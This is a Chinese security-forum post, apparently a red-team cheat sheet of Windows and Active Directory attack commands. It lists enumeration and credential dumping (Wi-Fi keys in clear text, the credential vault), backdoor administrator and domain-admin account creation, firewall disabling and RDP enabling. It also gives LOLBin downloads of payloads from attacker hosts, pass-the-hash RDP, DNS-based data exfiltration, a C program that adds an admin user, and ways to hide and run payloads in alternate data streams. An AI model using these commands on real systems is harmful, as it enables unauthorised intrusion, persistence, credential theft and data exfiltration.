安全矩阵

 找回密码
 立即注册
搜索
查看: 617|回复: 0

红队之域控权限命令

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2023-1-3 13:11:34 | 显示全部楼层 |阅读模式
原文链接:红队之域控权限命令

系统信息
版本和补丁信息
  • wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #获取架构
  • systeminfo
  • systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #仅获取这些信息
  • wmic computersystem LIST full #获取电脑信息
  • wmic qfe get Caption,Description,HotFixID,InstalledOn #补丁程序
  • wmic qfe list brief #更新
  • hostname
  • DRIVERQUERY #第三方易受攻击驱动?

环境
  • set #列出所有环境变量

需要强调的一些环境变量:

  • COMPUTERNAME: 计算机名称
  • TEMP/TMP: 临时文件夹
  • USERNAME: 用户名
  • HOMEPATH/USERPROFILE: 主目录
  • windir: C:\Windows
  • OS:Windos OS
  • LOGONSERVER: 域控制器名称
  • USERDNSDOMAIN: 与DNS一起使用的域名
  • USERDOMAIN: 域名的名称

  • nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DC的DNS请求

挂载磁盘
  • (wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
  • wmic logicaldisk get caption,description,providername

回收站
  • dir C:\$Recycle.Bin /s /b

流程、服务和软件
  • schtasks /query /fo LIST /v #计划任务的冗余
  • schtasks /query /fo LIST 2>nul | findstr TaskName
  • schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
  • tasklist /V #进程列表
  • tasklist /SVC #将进程链接到已启动的服务
  • net start #Windows服务启动
  • wmic service list brief #列出服务
  • sc query #服务清单
  • dir /a "C:\Program Files" #已安装的软件
  • dir /a "C:\Program Files (x86)" #已安装的软件
  • reg query HKEY_LOCAL_MACHINE\SOFTWARE #已安装的软件

域信息
  • # 常见AD信息
  • echo %USERDOMAIN% #获取域名
  • echo %USERDNSDOMAIN% #获取域名
  • echo %logonserver% #获取域控制器的名称
  • set logonserver #获取域控制器的名称
  • set log #获取域控制器的名称
  • gpresult /V # 应用当前策略
  • wmic ntdomain list /format:list    #显示有关域和域控制器的信息
  • # 用户
  • dsquery user #获取所有用户
  • net user /domain #列出域的所有用户
  • net user <ACCOUNT_NAME> /domain #获取关于该用户的信息
  • net accounts /domain #密码和锁定策略
  • wmic useraccount list /format:list #显示所有已登录设备的本地帐户和域帐户的信息
  • wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #获取所有用户
  • wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # 获取1个用户的信息
  • wmic sysaccount list /format:list # 转储关于被用作服务帐户的任何系统帐户的信息。
  • # 组信息
  • net group /domain #域组列表
  • net localgroup administrators /domain #列出属于域内管理员组的用户(这里包括组“domain Admins”)
  • net group "Domain Admins" /domain #列出具有域管理权限的用户
  • net group "domain computers" /domain #连接到域的pc列表
  • net group "Domain Controllers" /domain #列出域控制器的PC帐号
  • wmic group list /format:list # 所有本地组的信息
  • wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #获取所有分组
  • wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #组的成员
  • wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #组的成员
  • # 计算机
  • dsquery computer #得到所有的电脑
  • net view /domain #域的pc的Lis
  • nltest /dclist:<DOMAIN> #列出域控制器
  • wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #所有的电脑
  • wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #所有的电脑
  • # 信任关系
  • nltest /domain_trust #信任关系的映射
  • # 获取OU内的所有对象
  • dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

日志和事件
  • #使用另一个凭据进行安全查询
  • wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321

用户和组用户
  • #自己
  • whoami /all #所有关于我的信息,看看启用的令牌
  • whoami /priv #只显示特权
  • # 本地用户
  • net users #所有用户
  • dir /b /ad "C:\Users"
  • net user %username% #用户(我)的信息
  • net accounts #有关密码要求的信息
  • wmic USERACCOUNT Get Domain,Name,Sid
  • net user /add [username] [password] #创建用户
  • # 其他用户查找
  • qwinsta #还有人登录吗?
  • #启动新的cmd.exe和新的信用(模拟在网络中)
  • runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
  • #作为管理员使用sysinternals中的logonsessions检查当前登录会话
  • logonsessions.exe
  • logonsessions64.exe

  • #本地
  • net localgroup #所有可用的组
  • net localgroup Administrators #组的信息(管理员)
  • net localgroup administrators [username] /add #添加用户到管理员
  • #域
  • net group /domain #域组信息
  • net group /domain <domain_group_name> #属于组的用户

列出会话
  • qwinsta
  • klist sessions

密码策略
  • net accounts

凭证
  • cmdkey /list #列出证书
  • vaultcmd /listcreds:"Windows Credentials" /all #查看Windows凭据管理器
  • rundll32 keymgr.dll, KRShowKeyMgr #你需要才能图形访问

与用户保持一致
  • # 添加域用户并将其放入域管理员组中
  • net user username password /ADD /DOMAIN
  • net group "Domain Admins" username /ADD /DOMAIN
  • # 添加本地用户并将其设置为本地管理员组
  • net user username password /ADD
  • net localgroup Administrators username /ADD
  • # 添加用户到目标的组
  • net localgroup "Remote Desktop Users" UserLoginName  /add
  • net localgroup "Debugger users" UserLoginName /add
  • net localgroup "ower users" UserLoginName /add

网络信息接口,路由,端口,主机和DNSCache
  • ipconfig /all #显示本机TCP/IP配置的详细信息
  • route print #查看路由表命令
  • arp -a #显示查看高速缓存中的所有项目
  • netstat -ano #打开的端口信息
  • type C:\WINDOWS\System32\drivers\etc\hosts
  • ipconfig /displaydns | findstr "Record" | findstr "Name Host"

防火墙
  • netsh firewall show state # 防火墙信息,开放端口
  • netsh advfirewall firewall show rule name=all
  • netsh firewall show config # 显示防火墙配置
  • Netsh Advfirewall show allprofiles
  • NetSh Advfirewall set allprofiles state off  #关闭
  • NetSh Advfirewall set allprofiles state on  #打开
  • netsh firewall set opmode disable #关闭
  • #如何打开端口
  • netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
  • netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
  • netsh firewall add portopening TCP 3389 "Remote Desktop"
  • #启用远程桌面
  • reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • netsh firewall add portopening TCP 3389 "Remote Desktop"
  • ::netsh firewall set service remotedesktop enable #我发现这一行不需要
  • ::sc config TermService start= auto #我发现这一行不需要
  • ::net start Termservice #我发现这一行不需要
  • #使用wmic开启远程桌面
  • wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
  • ##或
  • wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
  • #启用远程协助:
  • reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
  • netsh firewall set service remoteadmin enable
  • #Ninja组合(新管理员用户,RDP + rassist +防火墙允许)
  • net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
  • ::Connect to RDP (using hash or password)
  • xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
  • xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49

共享
  • net view #获得计算机的列表
  • net view /all /domain [domainname] #域上的共享
  • net view \\computer /ALL #列出计算机的共享
  • net use x: \\computer\share #在本地装载共享
  • net share #查看当前共享

Wifi
  • netsh wlan show profile #AP SSID
  • netsh wlan show profile <SSID> key=clear #获取明文密码

SNMP
  • reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

Network Interfaces
  • ipconfig /all

ARP table
  • arp -A

下载

Bitsadmin.exe

CertReq.exe

Certutil.exe

  • certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe

Desktopimgdownldr.exe

Diantz.exe

  • diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab

Esentutl.exe

  • esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o

Expand.exe

  • expand \\webdav\folder\file.bat c:\ADS\file.bat

Extrac32.exe

  • extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt

Findstr.exe

  • findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe

Ftp.exe

  • cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"

GfxDownloadWrapper.exe

  • C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"

Hh.exe

Ieexec.exe

Makecab.exe

  • makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab

MpCmdRun.exe

  • MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable

Replace.exe

  • replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A

Excel.exe

Powerpnt.exe

  • Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"

Squirrel.exe

  • squirrel.exe --download [url to package]

Update.exe

  • Update.exe --download [url to package]

Winword.exe

  • winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"

Wsl.exe

  • wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'

Misc
  • cd #列出当前目录
  • cd C:\path\to\dir #改变目录
  • dir #列出当前目录内容
  • dir /a:h C:\path\to\dir #列出隐藏文件
  • dir /s /b #没有垃圾的递归列表
  • time #获取当前时间
  • date #获取当前日期
  • shutdown /r /t 0 #重启
  • type <file> #从第一个字节开始正向打印文件内容
  • #Runas
  • runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #使用保存的凭据
  • runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
  • #Hide
  • attrib +h file #设置隐藏
  • attrib -h file #退出隐藏
  • #对你拥有的文件给予完全的控制权
  • icacls <FILE_PATH> /t /e /p <USERNAME>:F
  • icacls <FILE_PATH> /e /r <USERNAME> #删除权限
  • #递归复制到smb
  • xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
  • #Exe2bat转换bat文件中的exe文件
  • #ADS
  • dir /r #Detect ADS
  • more file.txt:ads.txt #read ADS
  • powershell (Get-Content file.txt -Stream ads.txt)
  • # 从代码中获取错误消息
  • net helpmsg 32 #32是这种情况下的代码

Bypass Char Blacklisting
  • echo %HOMEPATH:~6,-11%   #\
  • who^ami   #whoami

DOSfuscation

生成混淆的CMD命令行

Listen address ACLs

您可以在[http://+:80/Temporary_listen_Addresses/]上侦听,而无需管理员身份。

  • netsh http show urlacl

Manual DNS shell

Attacker (Kali) 必须使用以下两个选项之一:

  • sudo responder -I <iface> #Active
  • sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

Victim

对于/f标记_**\technique:这允许我们执行命令,获取每行的前X个单词,并通过DNS将其发送到服务器

  • for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
  • for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
  • for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
  • for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
  • for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
  • #More complex commands
  • for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one

您还可以重定向输出,然后读取输出。

  • whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
  • for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

从C代码调用CMD
  • #include <stdlib.h>     /* system, NULL, EXIT_FAILURE */
  • // When executed by Administrator this program will create a user and then add him to the administrators group
  • // i686-w64-mingw32-gcc addmin.c -o addmin.exe
  • // upx -9 addmin.exe
  • int main (){
  •     int i;
  •     i=system("net users otherAcc 0TherAcc! /add");
  •     i=system("net localgroup administrators otherAcc /add");
  •     return 0;
  • }

备用数据流CheatSheet(ADS/备用数据流)

Taken from https://gist.github.com/api0crad ... b686f0e89306e277b8f

  • ##Add content to ADS###
  • type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
  • extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
  • findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
  • certutil.exe -urlcache -split -f https://raw.githubusercontent.co ... git/master/test.ps1 c:\temp:ttt
  • makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
  • print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
  • reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
  • regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
  • expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
  • esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
  • powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
  • curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
  • cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct   ^scrobj.dll > fakefile.doc:reg32.bat
  • set-content - path {path to the file} - stream {name of the stream}
  • ## Discover ADS contecnt
  • dir /R
  • streams.exe <c:\path\to\file> #Binary from sysinternals#
  • Get-Item -Path .\fie.txt -Stream *
  • gci -recurse | % { gi $_.FullName -stream * } | where stream -ne 'Data'
  • ##Extract content from ADS###
  • expand c:\ads\file.txt:test.exe c:\temp\evil.exe
  • esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
  • more < c:\ads\file.txt:test.exe
  • ##Executing the ADS content###
  • * WMIC
  • wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
  • * Rundll32
  • rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
  • rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
  • rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll
  • * Cscript
  • cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
  • * Wscript
  • wscript c:\ads\file.txt:script.vbs
  • echo GetObject("script:https://raw.githubusercontent.co ... -bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
  • * Forfiles
  • forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
  • * Mavinject.exe
  • c:\windows\SysWOW64\notepad.exe
  • tasklist | findstr notepad
  • notepad.exe                   4172 31C5CE94259D4006           2     18,476 K
  • type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
  • c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
  • * MSHTA
  • mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
  • (Does not work on Windows 10 1903 and newer)
  • * Control.exe
  • control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
  • https://twitter.com/bohops/status/954466315913310209
  • * Create service and run
  • sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
  • sc start evilservice
  • https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
  • * Powershell.exe
  • powershell -ep bypass - < c:\temp:ttt
  • * Powershell.exe
  • powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"
  • * Powershell.exe
  • Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}
  • * Regedit.exe
  • regedit c:\ads\file.txt:regfile.reg
  • * Bitsadmin.exe
  • bitsadmin /create myfile
  • bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
  • bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
  • bitsadmin /RESUME myfile
  • * AppVLP.exe
  • AppVLP.exe c:\windows\tracing\test.txt:ha.exe
  • * Cmd.exe
  • cmd.exe - < fakefile.doc:reg32.bat
  • https://twitter.com/yeyint_mth/status/1143824979139579904
  • * Ftp.exe
  • ftp -s:fakefile.txt:aaaa.txt
  • https://github.com/sailay1996/misc-bin/blob/master/ads.md
  • * ieframe.dll , shdocvw.dll (ads)
  • echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
  • rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
  • https://github.com/sailay1996/misc-bin/blob/master/ads.md
  • * bash.exe
  • echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
  • bash.exe -c $(fakefile.txt:payload.sh)
  • https://github.com/sailay1996/misc-bin/blob/master/ads.md
  • * Regsvr32
  • type c:\Windows\System32\scrobj.dll > Textfile.txtoveADS





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 21:13 , Processed in 0.057882 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表